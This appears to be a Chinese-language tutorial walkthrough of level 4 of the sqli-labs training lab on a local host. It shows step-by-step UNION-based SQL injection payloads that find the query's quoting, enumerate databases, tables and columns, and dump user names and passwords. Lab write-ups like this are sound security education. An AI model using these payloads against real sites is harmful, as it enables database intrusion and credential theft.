前序
本关与第三关类似,情景以及做法差不多,但是还是要强调一点,就是关于如何分析注入语句,如何分析报错,是一个非常重要的一点。
正文
进入第四关
进行注入分析,使用的URL为:
http://127.0.0.1/sqli-labs/Less-4/?id=1"
查看错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
然后找到其中的错误提示,’”1””) LIMIT 0,1’,之后我们可以根据这个来构建我们的语句:?id=1”)所以我们也可以知道,本题中的sql语句为(“x”)
所以我们还是按照之前所陈述的开始以下步骤:
使用order by进行属性列查询,在URL中输入(这里直接使用四,不进行重复):
http://127.0.0.1/sqli-labs/Less-4/?id=1") order by 4--+
查询结果为:
所以我们可以得出,一共有三个属性列;
接下来进行union select查询,我们可以通过这个查询来判断返回位置,从而利用该返回位置;
使用URL为:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,3--+
结果为:
所以我们可以利用这些位置来获得我们所需要的数据信息;
接着我们要进行查询,该数据库中都有哪些数据库;
使用的URL为:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+
<br />**结果为:**<br />
分析查询的数据库后,我们可以进行查询表单;
使用的URL为:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
结果为:
我们继续进行查询属性列,来判断有哪些属性列;
使用的URL为:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
<br />**结果为:**<br />
所以我们直接查询获得其账号密码;
使用的URL为:
http://127.0.0.1/sqli-labs/Less-4/?id=-1") union select 1,2,group_concat(concat_ws('~',username,password)) from security.users --+
**结果为:**<br /><br />本关也就到此为止...